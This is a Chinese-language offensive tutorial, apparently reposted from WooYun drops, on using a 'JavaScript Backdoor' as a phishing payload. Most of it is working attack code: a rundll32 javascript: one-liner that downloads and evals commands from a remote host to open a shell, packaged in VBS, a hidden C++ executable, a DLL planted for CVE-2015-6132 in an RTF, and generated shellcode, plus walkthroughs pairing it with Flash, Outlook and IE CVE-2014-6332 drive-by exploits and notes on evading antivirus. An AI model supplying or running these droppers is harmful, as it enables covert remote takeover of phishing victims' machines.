0433-JavaScript Phishing-棉花糖会员站

# JavaScript Phishing

0x00 前言
=======

* * *

前段时间分享了JavaScript Backdoor技术，着重对其功能的开发、Bug的优化做了介绍，这次研究一下JavaScript Backdoor在实际渗透测试中的利用方法。

![Alt text](http://drops.javaweb.org/uploads/images/03b46fd05d9f111a3a4bffa00426d96d3d654789.jpg)

0x01 简介
=======

* * *

**特点：**

通过cmd执行代码即可弹回shell

**优势：**

* 免杀
* 简便
* 较隐蔽

**利用思路：**

综合其优势特点，JavaScript作为Phishing Payload有着意想不到的效果，下面就结合相关漏洞做简要介绍

0x02 隐藏在vbs中
============

* * *

最简便的方法，将JavaScript的上线代码写到vbs中

原始的JavaScript 上线代码：

“`
rundll32.exe javascript:”\..\mshtml,RunHTMLApplication “;document.write();h=new%20ActiveXObject(“WinHttp.WinHttpRequest.5.1”);h.Open(“GET”,”http://192.168.174.136/connect”,false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(“WScript.Shell”).Run(“cmd /c taskkill /f /im rundll32.exe”,0,true);}

“`

对应vbs中的代码（注意转义字符）：

“`
set shell=createobject(“wscript.shell”)
shell.run “rundll32.exe javascript:””\..\mshtml,RunHTMLApplication “”;document.write();h=new%20ActiveXObject(“”WinHttp.WinHttpRequest.5.1″”);h.Open(“”GET””,””http://192.168.174.136/connect””,false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(“”WScript.Shell””).Run(“”cmd /c taskkill /f /im rundll32.exe””,0,true);}”,0

“`

点击vbs脚本，即可弹回HTTP shell

0x03 隐藏在exe中
============

* * *

**开发工具：**`VC6.0`

需要注意以下细节：

### 1、使用ShellExecute, WinExec没有区别

通过两种方式执行cmd命令都可以

### 2、cmd 参数细节

**eg：**

“`
cmd /c dir 是执行完dir命令后关闭命令窗口
cmd /k dir 是执行完dir命令后不关闭命令窗口
cmd /c start dir 会打开一个新窗口后执行dir指令，原窗口会关闭
cmd /k start dir 会打开一个新窗口后执行dir指令，原窗口不会关闭

“`

所以在用c++执行cmd命令时，为了退出残留的cmd进程，需要用`cmd /c start`再加上需要的cmd命令

### 3、转义字符

c++中存在转义字符，我们的命令中需要的转义字符如下：

* `”`需要用`\”`表示
* `\`需要用`\\`表示

综上，c++的代码为

“`
#include “stdafx.h”
#include
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char *command=”cmd.exe /c start rundll32.exe javascript:\”\\..\\mshtml,RunHTMLApplication \”;document.write();h=new\%20ActiveXObject(\”WinHttp.WinHttpRequest.5.1\”);h.Open(\”GET\”,\”http://192.168.174.136/connect\”,false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new\%20ActiveXObject(\”WScript.Shell\”).Run(\”cmd /c taskkill /f /im rundll32.exe\”,0,true);}”;
WinExec(command,SW_HIDE);
return 0;
}

“`

点击exe，即可弹回HTTP shell

0x04 隐藏在dll中
============

* * *

**开发工具：**`VC6.0`

**结合漏洞：**`CVE-2015-6132`

**细节可参考：**[http://zone.wooyun.org/content/24877](http://zone.wooyun.org/content/24877)

CVE-2015-6132 ，是一个类似于dll劫持的漏洞，如果在特定word文档的同级目录下放置一个dll，那么在打开word文档并点击图标后会运行同级目录下dll的代码

如图![Alt text](http://drops.javaweb.org/uploads/images/b280f4c380f98254ecf1099adf1f50c7f03b0899.jpg)

planted-mqrt.doc里面包含图标foo.txt,如果点击图标，那么会运行mqrt.dll中的代码，即弹框

当然，把word 文档改为rtf文档即可实现在打开文档后的自动触发

如果把mqrt.dll的payload改为JavaScript Backdoor，那么会怎么样呢？

下面我们就修改一下

方法也很简单，但也需要注意cmd的参数和转义字符的修改，关键代码如下：

“`
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
char *command=”cmd.exe /c start rundll32.exe javascript:\”\\..\\mshtml,RunHTMLApplication \”;document.write();h=new\%20ActiveXObject(\”WinHttp.WinHttpRequest.5.1\”);h.Open(\”GET\”,\”http://192.168.174.136/connect\”,false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new\%20ActiveXObject(\”WScript.Shell\”).Run(\”cmd /c taskkill /f /im rundll32.exe\”,0,true);}”;
WinExec(command,SW_HIDE);
}
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

“`

如图

![Alt text](http://drops.javaweb.org/uploads/images/4657cd0c1430eb01eca1b4a3149ca39cc075b9be.jpg)

打开CVE-2015-6132.rtf，没有任何异常反应

而这时我们的控制端已经弹回了shell，如图

![Alt text](http://drops.javaweb.org/uploads/images/5b55643bd1a28bf735eacdad23bb8682a2bb95d4.jpg)

即使此时关闭CVE-2015-6132.rtf，shell仍然可以继续操作

0x05 转换成shellcode
=================

* * *

**开发工具：**`msf、vc6.0`

**结合漏洞：**`CVE-2015-5119&CVE-2015-5122`

**细节可参考：**[http://zone.wooyun.org/content/21586](http://zone.wooyun.org/content/21586)

使用`vc6.0`测试msf shellcode的技巧：

### 1、以messagebox举例

**msf：**

“`
use windows/messagebox
set TEXT rundll32.exe javascript:”\..\mshtml,RunHTMLApplication “;
generate -t c

“`

如图![Alt text](http://drops.javaweb.org/uploads/images/eb8c0c04454e98aeeb8ece508f3ee35d93803a7c.jpg)

不难看出msf也存在转义字符

放在c++中测试msf shellcode，代码如下

“`
#include “stdafx.h”

int main(int argc,char *argv[])
{
unsigned char buf[] =
“\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b”
“\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b”
“\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24”
“\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a”
“\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0”
“\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c”
“\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a”
“\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2”
“\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f”
“\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52”
“\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33”
“\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89”
“\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c”
“\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67”
“\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3”
“\x68\x3b\x58\x20\x20\x68\x69\x6f\x6e\x20\x68\x69\x63\x61\x74”
“\x68\x41\x70\x70\x6c\x68\x48\x54\x4d\x4c\x68\x2c\x52\x75\x6e”
“\x68\x68\x74\x6d\x6c\x68\x2e\x2e\x6d\x73\x68\x69\x70\x74\x3a”
“\x68\x61\x73\x63\x72\x68\x20\x6a\x61\x76\x68\x2e\x65\x78\x65”
“\x68\x6c\x6c\x33\x32\x68\x72\x75\x6e\x64\x31\xc9\x88\x4c\x24”
“\x35\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff”
“\x55\x08″;
__asm{
lea eax,buf
call eax
}
return 0;
}

“`

如下图可以看到弹框，shellcode执行成功

![Alt text](http://drops.javaweb.org/uploads/images/24a0cff3cdbaeab9f1c90666e77a185efb0b2734.jpg)

### 2、将JavaScript Backdoor转换成shellcode

**msf：**

“`
use windows/exec
set CMD rundll32.exe javascript:\”\\..\\mshtml,RunHTMLApplication \”;document.write();h=new%20ActiveXObject(\”WinHttp.WinHttpRequest.5.1\”);h.Open(\”GET\”,\”http://192.168.174.136/connect\”,false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\”WScript.Shell\”).Run(\”cmd /c taskkill /f /im rundll32.exe\”,0,true);}
generate -t c

“`

如图![Alt text](http://drops.javaweb.org/uploads/images/c175960e8eecd6b3a6ac0ff5b6e6937b5bf73c4c.jpg)

放在c++中测试shellcode，代码如下

“`
#include “stdafx.h”
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
unsigned char buf[] =
“\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30”
“\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff”
“\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52”
“\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1”
“\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b”
“\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03”
“\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b”
“\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24”
“\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb”
“\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f”
“\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5”
“\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a”
“\x00\x53\xff\xd5\x72\x75\x6e\x64\x6c\x6c\x33\x32\x2e\x65\x78”
“\x65\x20\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x22\x5c”
“\x2e\x2e\x5c\x6d\x73\x68\x74\x6d\x6c\x2c\x52\x75\x6e\x48\x54”
“\x4d\x4c\x41\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x20\x22”
“\x3b\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65”
“\x28\x29\x3b\x68\x3d\x6e\x65\x77\x25\x32\x30\x41\x63\x74\x69”
“\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x57\x69\x6e\x48”
“\x74\x74\x70\x2e\x57\x69\x6e\x48\x74\x74\x70\x52\x65\x71\x75”
“\x65\x73\x74\x2e\x35\x2e\x31\x22\x29\x3b\x68\x2e\x4f\x70\x65”
“\x6e\x28\x22\x47\x45\x54\x22\x2c\x22\x68\x74\x74\x70\x3a\x2f”
“\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x37\x34\x2e\x31\x33”
“\x36\x2f\x63\x6f\x6e\x6e\x65\x63\x74\x22\x2c\x66\x61\x6c\x73”
“\x65\x29\x3b\x74\x72\x79\x7b\x68\x2e\x53\x65\x6e\x64\x28\x29”
“\x3b\x42\x3d\x68\x2e\x52\x65\x73\x70\x6f\x6e\x73\x65\x54\x65”
“\x78\x74\x3b\x65\x76\x61\x6c\x28\x42\x29\x3b\x7d\x63\x61\x74”
“\x63\x68\x28\x65\x29\x7b\x6e\x65\x77\x25\x32\x30\x41\x63\x74”
“\x69\x76\x65\x58\x4f\x62\x6a\x65\x63\x74\x28\x22\x57\x53\x63”
“\x72\x69\x70\x74\x2e\x53\x68\x65\x6c\x6c\x22\x29\x2e\x52\x75”
“\x6e\x28\x22\x63\x6d\x64\x20\x2f\x63\x20\x74\x61\x73\x6b\x6b”
“\x69\x6c\x6c\x20\x2f\x66\x20\x2f\x69\x6d\x20\x72\x75\x6e\x64”
“\x6c\x6c\x33\x32\x2e\x65\x78\x65\x22\x2c\x30\x2c\x74\x72\x75”
“\x65\x29\x3b\x7d\x00″;

__asm{
lea eax,buf
call eax
}
return 0;
}

“`

运行后可以弹回shell，证明shellcode生成成功

### 3、结合CVE-2015-5119&CVE-2015-5122

**测试环境**

“`
Windows 7 SP1 (64-bit)
ie8.0.7600.16385
Adobe Flash Player 18,0,0,194

“`

**步骤：**

**1、msf**

“`

如图![Alt text](http://drops.javaweb.org/uploads/images/4f00b3926c7063c1bff903bbc3215de00aecb49d.jpg)

**2、**修改原工程文件 ,使用Adobe Flash CS6 编译生成新的swf

如图新编译的swf使用浏览器打开，弹回shell

![Alt text](http://drops.javaweb.org/uploads/images/42057b540fb659ea335dff9253c10cf0daef074a.jpg)

同样，将swf嵌入word、ppt、xls，均可弹回shell

此处细节略

0x06 结合Outlook漏洞
================

* * *

**细节可参考:**[http://zone.wooyun.org/content/24657](http://zone.wooyun.org/content/24657)

**测试环境**

“`
win7 x86
outlook2007

“`

打开伪造的Outlook文档：

如图,内容中包含一个docx的图标

![Alt text](http://drops.javaweb.org/uploads/images/550295c00fcf8e022a6166415dfe308bf2b4c23d.jpg)

现在双击打开，如图

![Alt text](http://drops.javaweb.org/uploads/images/5d7d412ae0595a90e4fe920694a35536d387b638.jpg)

点击确定后，接着弹框，如图，随后弹回shell

![Alt text](http://drops.javaweb.org/uploads/images/0eedfef2308cb8b1fe379759fa163a65ed4aee94.jpg)

0x07 结合ie漏洞
===========

* * *

**结合漏洞：**`CVE-2014-6332`

**步骤：**

### 1、将JavaScript同CVE-2014-6332结合，实现挂马

修改后的关键代码为：

“`

之后将html文件放于kali上

### 2、kali上开启SimpleHTTPServer

“`
python -m SimpleHTTPServer 80

“`

如图![Alt text](http://drops.javaweb.org/uploads/images/b5c62ad838baef672b8add803509edfa680e7f8a.jpg)

### 3、访问`http://192.168.174.133/JavaScript.html`

xp系统访问直接弹回shell

如图![Alt text](http://drops.javaweb.org/uploads/images/95e905db5d3e0643a848b2799d961dd58eec2292.jpg)

win7 x64访问会弹框

如图![Alt text](http://drops.javaweb.org/uploads/images/57dc1f25f149397c1c7926ad76fb60b688cacdda.jpg)![Alt text](http://drops.javaweb.org/uploads/images/0d03a98ec3b84f5971e4bf2bec54e1a56e220760.jpg)

0x08 小结
=======

* * *

通过以上内容，结合最近流行的IE、Office等经典的钓鱼漏洞对JavaScript的用法做简要介绍，希望能让大家有所启发，JavaScript Backdoor在渗透中会发挥越来越大的作用。

当然，上述漏洞的防御方法已经普及，对于普通用户来说，建议及时更新补丁安装最新杀毒软件和防火墙。

**本文由三好学生原创并首发于乌云drops，转载请注明**

文章版权归作者所有，未经允许请勿转载。

THE END